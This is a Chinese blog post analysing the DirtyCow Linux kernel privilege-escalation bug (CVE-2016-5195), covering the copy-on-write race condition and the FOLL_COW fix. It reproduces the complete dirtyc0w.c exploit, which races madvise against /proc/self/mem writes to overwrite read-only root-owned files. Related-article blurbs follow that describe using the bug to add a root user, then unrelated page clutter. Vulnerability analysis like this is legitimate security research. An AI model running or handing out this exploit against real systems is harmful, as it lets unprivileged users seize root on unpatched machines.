DirtyCow Linux权限提升漏洞分析

DirtyCow Linux权限提升漏洞分析(CVE-2016-5195) 概述这篇分析最早写在团队的BLOG里,在这里也贴一下(http://lab.xmirror.cn/)。DirtyCow漏洞是最近爆出的Linux内核本地权限提升漏洞。该漏洞容易触发利用简单稳定,影响多个系统算是一个不错的漏洞。而且漏洞已经存在多年 阅读详情

DirtyCow Linux权限提升漏洞分析
这里写图片描述
如上图,这个漏洞的特点就是线程竞争导致可以读写的权限被扩大了。其实具体说可能有点绕,就是foll_write标志在row特性执行后去掉了,但是再次执行时却没有检查页表项的有效性,导致我们可以利用另一个线程清空页表。清空的页表由于没有了foll_write权限要求,再次被分配时就不执行row执行机制,导致原本不应该本写的地址拥有了写的权限。

这里写图片描述

这里写图片描述

这里写图片描述

画了个图,感觉应该挺形象的。

/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;
 
void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}
 
void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
>  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
    lseek(f,(uintptr_t) map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}
 
 
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
  if (argc<3) {
  (void)fprintf(stderr, "%s\n",
      "usage: dirtyc0w target_file new_content");
  return 1; }
  pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}

这个漏洞强大的表现在于,不会被一般环境限制,只要是页表在执行row机制的时候,我们就可以想办法竞争清空页表。然后获取只读地址的可写权限。这种漏洞个人感觉利用起来还是比较方便的。不过可惜早就补上了。

文章中的原图下载

看了下以前写的东西,有点复杂化。
其实就这样

正常流程:
第一次处理缺页错误,do_cow_fault->
第二次处理写入权限错误,去掉FOLL_WRITE权限要求->
可以写入cow页面

漏洞流程:

第一次处理缺页错误,do_cow_fault->
第二次处理写入权限错误,去掉FOLL_WRITE权限要求->
madvise unmap内存映射->
第三次调用,又发现缺页错误,且没有FOLL_WRITE,直接获取文件映射内存页,造成越权。

获取的页面本身没有标志,是可写的。
但是如果利用FOLL_WRITE标志去申请,是得不到原始页面的。只能得到一个副本页面。

关键在于第二次分配页面完成后,madvise要竞争获取到执行流程,阻止获取到cow分配的副本页面。

因为页面全部释放,但是第三次请求为follow_page_mask(无FOLL_WRITE)。所以会从新获取原始页面。
重新follow_page_mask(无FOLL_WRITE)时也就是第四次分配页面就可以得到原始页面。

修复增加了FOLL_COW标志

正常流程就变为第二次查找后增加FOL_COW标志,由于FOLL_WRITE标志一直存在。
所以即使页面被竞态释放,但重新生成的原始页面不可能被FOLL_COW标志的follow_page_mask申请到,而是会重新生成cow页面。那么漏洞就不存在了。

linux内核漏洞检测&&利用exp&&提权 然后这个内核漏洞进行提权的步骤也是和手工win进行提权差不多 也是需要使用辅助工具在本地进行辅助检测 然后去。靶机下载https://www.vulnhub.com/entry/darkhole-1,724/去找寻exp或者使用 msf本地的 梭哈模块去寻找利用的漏洞。报这个标头就是进入了 后渗透模式 就是我们已经控制了对方的主机。查看id是1000内的所以我们的目标是拿取root权限。这个漏洞是前端的一个逻辑越权漏洞 先注册一个账号。发现是低版本的php搭建的 所以直接进行利用。 阅读详情

相关推荐

从Lampiao靶场实战解析渗透测试:Drupal漏洞利用与权限提升

渗透测试是网络安全领域的核心实践方法,通过模拟攻击者行为来评估系统安全性。其基本原理在于主动发现和利用系统、应用或网络中的安全弱点,验证防御措施的有效性。这项技术的核心价值在于帮助组织提前识别风险,加固安全防线,避免真实攻击造成的损失。在Web安全、内网渗透、红蓝对抗等场景中,渗透测试技能至关重要。本文以热门漏洞靶场Lampiao为例,聚焦其中关键的Drupal内容管理系统漏洞和内核提权技术,详细演示了从信息收集、漏洞扫描到利用Drupalgeddon 2漏洞获取初始权限,再通过内核漏洞完成权限提升的完整攻

weixin_33646989的博客 384

linux 内核页表替换

linux 内核页表替换 一.linux本身关于页表查找机制的代码实现 逻辑地址到页表的查找过程 static int __follow_pte_pmd(struct mm_struct *mm, unsigned long address, unsigned long *start, unsigned long *end, ...

inquisiter 1454

linux本地内核提权漏洞 Dirty COW 成因分析

关于“Dirty COW" 的影响,这方面的文章网上写的太多了,但是关于此漏洞真实成因的文章却很缺乏,基于此,我写了这篇文章,希望对想深入研究的人一些帮助。脏牛漏洞核心成因: 基于下面的POC来讲,要篡改的特权文件在被只读映射后,攻击者第一次发起wite=&gt;mem_write=&gt;get_user_pages=&gt;faultin_page调用后已经去掉了...

softgmx的博客 1万+

dirtycow.c代码分析 CVE-2016-5195

#include <stdio.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdint.h> void *map; int f; struct stat st; char *na..

温和的跳跃 952

基于ATT&CK框架的Linux日志分析与权限提升攻防实战

在Linux系统安全领域,日志分析与权限管理是两大核心基础。日志记录了系统的运行轨迹,通过分析认证日志、命令历史等关键数据源,可以追溯异常行为。MITRE ATT&CK框架为此提供了结构化分析模型,它将攻击行为映射为标准化的战术与技术,例如将暴力破解登录归类为“初始访问-暴力破解(T1110.001)”,将sudo权限滥用归类为“权限提升-利用权限机制(T1548.003)”。这种基于框架的分析方法,能系统性地从海量日志中识别攻击链,极大提升了威胁检测的效率与覆盖率。其技术价值在于将零散的告警转化为具有战术

weixin_33853794的博客 456

⓬⁄₁₂ ⟦ OSCP ⬖ 研记 ⟧ Linux权限提升 ➱ 滥用Linux内核漏洞提权

本文演示了滥用内核漏洞提权的完整流程:首先通过/etc/issue和uname手动枚举目标系统信息(Ubuntu 16.04.3、内核4.4.0-116);然后在Kali上用searchsploit筛选匹配漏洞(45010.c);最后在目标机上编译并执行,成功获取root权限。整个过程涵盖信息收集、漏洞匹配、编译执行三大关键步骤。

“被信息安全硌得牙疼?来这儿,包你嚼得动、咽得香!😋”核心知识掰开嚼碎,攻防大战揭秘如追剧,政策法规解读不瞌睡!每周两顿“安全小灶”,保准有趣有料还不胖!觉得有用?点赞❤️收藏⭐ 鼓励一下呗!+关注😉= 永久VIP席位,速来!!! 1012

脏牛漏洞影响的linux内核,CVE-2016-5195 脏牛漏洞:Linux内核通杀提权漏洞验证 | 聂扬帆博客...

一、漏洞简介漏洞编号:CVE-2016-5195漏洞名称:脏牛(Dirty COW)漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。Android 7.0最新的10月补丁安全级别的系统上测试过漏洞POC,确认Android受影响二、漏洞影响1. 没有权限的本地...

weixin_33433067的博客 678

【漏洞复现】CVE-2016-5195 DirtyCow 脏牛提权

文章目录声明一、漏洞原理二、漏洞概述及成因三、漏洞影响范围四、先决条件五、漏洞危害六、本地复现方法一方法二:总结 声明 本文章仅限于漏洞复现和技术学习,切勿用于非法用途,出现任何后果与本人无关 一、漏洞原理 Linux内核的内存子系统在处理写入时复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。(A race condition was found in the way the Linux kern

李同學AI安全 9302

linux 脏牛漏洞,【漏洞分析】11月4日:深入解读脏牛Linux本地提权漏洞(CVE-2016-5195)...

稿费:600RMB(不服你也来投稿啊!)投稿方式:发送邮件至linwei#360.cn,或登陆0x00 概述该漏洞是Linux的一个本地提权漏洞,发现者是Phil Oester,影响>=2.6.22的所有Linux内核版本,修复时间是2016年10月18号。该漏洞的原因是get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成CO...

weixin_35285401的博客 663

Linux系统本地权限提升漏洞PoC分析及防御

本地特权升级是指当攻击者在Linux系统中获得一个低权限账户后,通过一系列手段提升为系统高权限的过程。这一过程对于攻击者而言至关重要,因为拥有高权限能够让他们控制整个系统,执行诸如安装恶意软件、窃取敏感数据等恶意活动。Dirty Cow,正式名称为CVE-2016-5195,是一个存在于Linux内核中的本地权限提升漏洞。该漏洞最早由Phil Oester于2016年9月发现并公开,其影响范围非常广泛,包括但不限于Debian、Ubuntu、Fedora、CentOS等主要Linux发行版。

weixin_36282234的博客 636

IAR使用教程:如何导入现有工程并成功编译

详细介绍如何在IAR中导入现有工程项目并完成编译配置,解决常见报错问题。通过清晰的操作指引,帮助开发者快速上手iar使用教程中的关键环节,提升开发效率。

weixin_42437253的博客 883

深度分析“大小脏牛”漏洞:CVE-2016-5195和CVE-2017-1000405

脏牛漏洞(CVE-2016–5195)是公开后影响范围最广和最深的漏洞之一,这十年来的每一个Linux版本,包括Android、桌面版和服务器版都受到其影响。恶意攻击者通过该漏洞可以轻易地绕过常用的漏洞防御方法,对几百万的用户进行攻击。尽管已针对该漏洞进行了补丁修复,但国外安全公司Bindecy对该补丁和内容做出深入研究后发现,脏牛漏洞的修复补丁仍存在缺陷,由此产生了“大脏牛”漏洞。

VN520的博客 1446

ArcGIS通过已知坐标点转面(通过excel文件,有工具可批量生成面要素)

通过使用ArcGIS中的工具,将坐标点XY数据转换成可视化的点线面矢量数据,更加方便快捷有效的获取对应信息

qq_41046162的博客 3万+

悬镜安全实验室丨DirtyCow Linux权限提升漏洞分析(CVE-2016-5195)

悬镜安全实验室原创文章,如需转载,请联系小编。首发平台:悬镜官网。

Anprou的博客 1776

蓄热式加热炉燃烧技术

蓄热式加热炉燃烧技术

weixin_37928884的博客 2733

深入解析五大ADC芯片架构及其应用场景

本文深入解析了五大ADC芯片架构及其应用场景,包括逐次逼近型ADC、Σ-Δ型ADC、流水线型ADC、闪存型ADC和积分型ADC。通过详细的架构分析和实际应用案例,帮助工程师理解不同ADC芯片的特点和适用场景,提升电路设计效率。

weixin_28702105的博客 355

提升权限_DirtyCow Linux权限提升漏洞分析(CVE-2016-5195)

0x0 概述DirtyCow漏洞是最近爆出的Linux内核本地权限提升漏洞。该漏洞容易触发利用简单稳定,影响多个系统算是一个不错的漏洞。而且漏洞已经存在多年,正如Linus Torvalds所说This is an ancient bug that was actually attempted to be fixed once (badly) by me eleven years ago in c...

weixin_33737261的博客 101

Vue3 - Element Plus上传组件el-upload上传多个文件时,让on-change监听事件仅执行一次并获取最终文件列表方法(开启多选文件并手动上传,拿到文件列表统一循环调用接口上传)

vue3,elementplus,Upload上传,el-upload,文件上传组件,上传组件on-change里执行多次,取消自动上传后change重复执行问题,upload上传多个文件后导致on-change执行多次拿不到最终文件列表,Element-plus的upload组件on-change不断执行怎么办,上传多个文件多次执行调用,上传多个文件时如何只执行一次on-change方法拿到最终的文件列表,vue3elementplus上传组件开启多个上传后导致change方法执行好几次,仅调用一

🏆 前端领域优质创作者 1万+

DirtyCow漏洞分析

漏洞编号:CVE-2016-5195, 这是一个Linux kernel的本地权限提升漏洞。这里通过一个实验来逐步分析这个漏洞。 实验poc:

qq_25899635的博客 1038

CAPL诊断功能实现

UDS(Unified Diagnostic Services)是一种用于汽车电子系统诊断的标准协议。它定义了一系列诊断服务,用于读取和写入车辆电子控制单元(ECU)中的数据,以及处理诊断故障码(DTC)。UDS协议通常运行在CAN总线上,使用ISO 15765-2(ISO-TP)协议进行数据传输。通过本文的学习,读者应该对CAPL诊断功能实现有了初步的了解,并能够编写复杂的CAPL脚本。在实际项目中,CAPL的应用非常广泛,希望读者能够通过不断的学习和实践,掌握更多的CAPL技巧,提高自己的开发能力。

闲人编程的博客 1516

2024 全国大学生新质生产力大赛 B:金融违规交易的大数据分析 问题四思路代码

问题四:请分析附件中所有的指标数据,选取合适的指标,建立“金融违规 洗钱交易的预测模型”,并选取合适的训练集和测试集,计算预测模型的准确率。 为了提前识别并预测金融违规洗钱的交易事件,请基于你们团队数据分析的结果, 分别给公安部门和银行机构提出你们的建议。

YOLO 375

权限提升——DirtyCow

"脏牛(Dirty COW)提权漏洞利用Linux写时复制(COW)机制中的竞态条件。该漏洞(CVE-2016-5195)可通过两种方式利用:1)使用dirty.c脚本自动修改/etc/passwd文件创建新root用户;2)利用CVE-2016-5195提权工具。两种方法都需要将代码编译为可执行文件后运行,成功后可获得root权限。该漏洞在红日靶场03等渗透测试场景中具有实际应用价值。

m0_72199724的博客 651

【DL经典回顾】距离度量大汇总(7-余弦距离(Cosine Distance))

余弦距离(Cosine Distance)衡量的是两个向量在方向上的差异性,而不是在大小上的差异。

悦学共鸣,温柔以待,汇聚光芒,共同成长 2579

Linux权限提升

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的 权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。 CVE-2016-5195,即 Dirty COW,俗称「脏牛」漏洞。它是 Linux Kernel 中的条件竞争漏 洞,攻击者可以利用 Linux kernel 中的 COW(Copy-on-Write)技术中存在的逻辑漏洞完成对文件的 越权读写,恶意用户可利用此漏洞来获取高权限。

Williamanddog的博客 1756

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

2016年最火最牛的内存漏洞分析-dirtycow

2016年10月发现一个存在了将近有十年之久的非常严重的安全漏洞,该漏洞可以让低权限的用户利用内存写时复制机制的缺陷来提升自己的系统权限,从而获取root权限,这样黑客可以利用该漏洞入侵服务器,现在大部分的服务器都跑着linux系统。这个漏洞被称为Dirty COW,代号为CVE-2016-5195。Linux内核社区在10月18日紧急修复了这个历史久远的bug,各大发型版Linux发布紧急更新公

奔跑吧-Linux内核 3066

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

Linux新漏洞曝光,居然又双叒是提升权限漏洞

Dirty Pipe”,一个新的Liunx提权漏洞

优快云资讯 2436

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

上一篇: SEandroid攻击方式研究笔记
下一篇: android上的漏洞挖掘方式和Fuzz
inquisiter
博客等级 码龄10年 374粉丝 228原创
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值